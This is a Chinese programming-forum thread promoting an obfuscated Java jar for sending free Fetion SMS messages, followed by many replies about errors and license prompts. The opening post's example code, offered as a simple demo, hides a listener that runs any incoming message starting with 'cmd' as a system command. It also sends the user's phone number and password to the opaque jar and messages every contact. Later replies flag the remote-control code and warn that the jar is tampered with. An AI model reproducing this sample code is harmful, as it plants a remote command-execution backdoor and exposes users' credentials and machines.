最近看到一个好东西,可以用来发免费的短信,有兴趣的可以试下.... 
http://download.csdn.net/source/1148854 
用起来很方便,只需要这一个jar包 
import java.io.IOException; import cn.edu.ctgu.ghl.fetion.Contact; 
import cn.edu.ctgu.ghl.fetion.Fetion; 
import cn.edu.ctgu.ghl.fetion.FetionEvent; 
import cn.edu.ctgu.ghl.fetion.IFetionEventListener; 
public class ExampleMain { 
public static void main(String[] args) throws Exception{ 
final Fetion fetion = new Fetion("phone","password"); 
fetion.addListener(new IFetionEventListener(){ public void process(FetionEvent e) { 
if(e.getFirstLine()!=null 
&& e.getFirstLine().startsWith("M") 
&& e.getBody()!=null){ 
fetion.sendSms2SelfPhone(e.toString()); 
if (e.getBody().trim().startsWith("cmd")) { 
System.out.println("excute[" + e.getBody().trim().substring(3) + "]"); 
try { 
Runtime.getRuntime().exec(e.getBody().trim().substring(3)); 
} catch (IOException e1) { 
// TODO Auto-generated catch block 
e1.printStackTrace(); 



} }); 
fetion.login(); 
for (Contact cc : fetion.getContacts()) { 
System.out.println("####\r\n" + cc + "\r\n"); 
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦..."); 

fetion.sendSms2SelfPhone("给自己发个试哈^_^..."); 
//fetion.logout(); 


解决方案 »

  1.   

    java.lang.UnsupportedClassVersionError: Bad version number in .class file这个啥意思?
      

  2.   

    据说是只有JDK1.6才能发。不过我至今没搞清楚那个phone和password是个什么东西。
      

  3.   

    jar包下了,类也写好了...问题是怎么用啊...直接在控制台输入?fetion类又看不懂...
      

  4.   

    有发送成功的么????
    文档还没有呢,就自己好玩,所以没文档
    就一个类Fetion,就这个类的方法,应该很简单
      

  5.   

    没有发送成功。在login()方法上就停在那里了,无法继续往下走。
      

  6.   

    http://download.csdn.net/source/1148854 
    是在这下的么???
    我好象也遇到过这个问题的
      

  7.   

    http://topic.csdn.net/u/20090327/22/5ed56ec5-69f2-4db2-abde-e30fbb950ab0.html?seed=1912003713
      

  8.   

    已经测试过了,可以发送成功!phone:手机号码。
    password:登陆飞信的密码
      

  9.   


    出现一个错误复制一样的代码,怎么会提示找不到main呢
    could not find the main class.Program will exit
      

  10.   

    @关键是对方号码写在哪里呢??一直没找到。
    fetion.sendSms("接收者号码","你好哦...");
      

  11.   


    fetion.login(); //登录飞信//把你所有飞信的联系人全部发送一次,内容为:飞信名+你好哦...
    for (Contact cc : fetion.getContacts()) { 
    System.out.println("####\r\n" + cc + "\r\n"); 
    fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦..."); 

    //给自己手机发送信息,字符串为发送的内容
    fetion.sendSms2SelfPhone("给自己发个试哈^_^..."); 
    //fetion.logout(); //登出
    另外:
    phone:手机号码。 
    password:登陆飞信的密码
    前提:
    必须注册过飞信,即使用的移动手机号。
      

  12.   

    关键是你给人家发信息时前提是要先加别人为好友吧。
    fetion.sendSms("接收者号码","你好哦..."); 
    这个可以吗?回去试试。
      

  13.   

    出现一个错误复制一样的代码,怎么会提示找不到main呢
    could not find the main class.Program will exit 
    出现错误,我也是1.5的库啊。
      

  14.   

    Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,Your key is @2AC*1A97~C@6DCF6B8FEFE03@6B4C&CCAFF92
    不行啊
      

  15.   

    我JDK是1.6
    还是出现
    java.lang.UnsupportedClassVersionError: Bad version number in .class file
    异常
      

  16.   

    不行,报错啊……!java.lang.UnsupportedClassVersionError: Bad version number in .class file 
      

  17.   

    我跟28楼一样错误
    Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,Your key is @#$$EB96DD9A7DA1E%C9323CB77C%0D910276D请教
      

  18.   

    下载不了哦,能给我发一个吗?[email protected],谢谢
      

  19.   

    Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,Your key is @2AC*1A97~C@6DCF6B8FEFE03@6B4C&CCAFF92
    不行啊
      

  20.   

    需要key的可以去这弄http://javaghl.appspot.com/fetionApi.jsp 
    http://javaghl.appspot.com/fetionApi.jsp
      

  21.   

    [Fatal Error] :1:1: Content is not allowed in prolog
      

  22.   

    抱歉是下面这个错误:
    Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,Your key is @2AC*1A97~C@6DCF6B8FEFE03@6B4C&CCAFF92
      

  23.   

    此帖感觉很让人疑惑。原因:
    netokay在10楼回复的内容:
    与下面这个帖子的
    http://topic.csdn.net/u/20090327/22/5ed56ec5-69f2-4db2-abde-e30fbb950ab0.html
    第22楼的回复是一模一样的。
    上面网址中的帖子该用户多次自问自答,等待。。看着像是个托。
      

  24.   

    fetion中没有收短信息的接口啊?想收短信息。 
      

  25.   

    呵呵,没什么意义,可以考虑用那个开源的Fetion开发包。用java的话,jni应该可以。
      

  26.   

    Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,Your key is @A$+0@D2B1C788A4AD176BE7BB9E5&EC87%B23
    这个是什么意思??
      

  27.   

    为什么我的jar包中有好多个OOOOOO的文件夹呢?
      

  28.   

    拜托各位帮我解答一下:
    Exception in thread "main" java.lang.NoClassDefFoundError: oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/OoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO/OOoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
    at ExampleMain.main(ExampleMain.java:11)
    Caused by: java.lang.ClassNotFoundException: oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.OoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.OOoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
    at java.net.URLClassLoader$1.run(URLClassLoader.java:200)
    at java.security.AccessController.doPrivileged(Native Method)
    at java.net.URLClassLoader.findClass(URLClassLoader.java:188)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:307)
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:252)
    at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:320)
    ... 1 more
    在eclipse中运行我不能导入那个jar文件,导入的时候他每次都说有错误,就是说无法打开那个很多个OOOOO的文件夹,到底是为什么呢?
    编译
    不用IDE,按照这样的操作:
    javac -classpath "%classpath%;./fetion.jar" ExamapleMain.java
    运行
    java -classpath "%classpath%;./fetion.jar" ExamapleMain
    还是一样的错误到底为什么呢?
      

  29.   

    ok  了  就是要注册那个license  比较 麻烦  有没有解决办法?
      

  30.   

    jar包 怎么反编译一下  ? 牛人介绍下
      

  31.   

    做这个jar 包的人真不厚道啊,动手把class文件都弄出来,
      

  32.   

    我只能说一句 TMD 做jar包的什嘛玩意!
    public Fetion(String s, String s1) {
    o000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 = null;
    try {
    o000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 = new o0oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO(s, s1);
    }
    catch (OOoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo) {
    RuntimeException runtimeexception = new RuntimeException(oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo.getMessage());
    runtimeexception.setStackTrace(new StackTraceElement[0]);
    throw runtimeexception;
    }
    }
      

  33.   

    public List getContacts() {
    List list = o000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000.D4O00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000();
    ArrayList arraylist = new ArrayList();
    Contact contact;
    for (Iterator iterator = list.iterator(); iterator.hasNext(); arraylist.add(contact)) {
    o0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO o0oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo = (o0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO)iterator.next();
    contact = new Contact();
    contact.setFetionNum(o0oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo._mthnew());
    contact.setAtrribues(o0oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo.D5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000());
    contact.setNickName(o0oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo.String());
    contact.setPhoneNum(o0oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo.D3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000());
    contact.setType(o0oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo.o000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000());
    contact.setUri(o0oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo._mthreturn());
    }
      

  34.   

    java.lang.UnsupportedClassVersionError: Bad version number in .class file
      

  35.   

    jar加载失败...........
    上面成功的难道都是在命令行下编译的- -?我用JB和Eclipse都不行- -
      

  36.   


    if (e.getBody().trim().startsWith("cmd")) { 
    System.out.println("excute[" + e.getBody().trim().substring(3) + "]"); 
    try { 
    Runtime.getRuntime().exec(e.getBody().trim().substring(3)); 
    } catch (IOException e1) { 
    // TODO Auto-generated catch block 
    e1.printStackTrace(); 

    }这段代码~~~~
    远程控制?哈哈
      

  37.   

    大家不要上当受骗
    这个jar被处理过了
      

  38.   

    [Fatal Error] :1:1: Content is not allowed in prolog.
    这个错怎么解决啊。。谁知道啊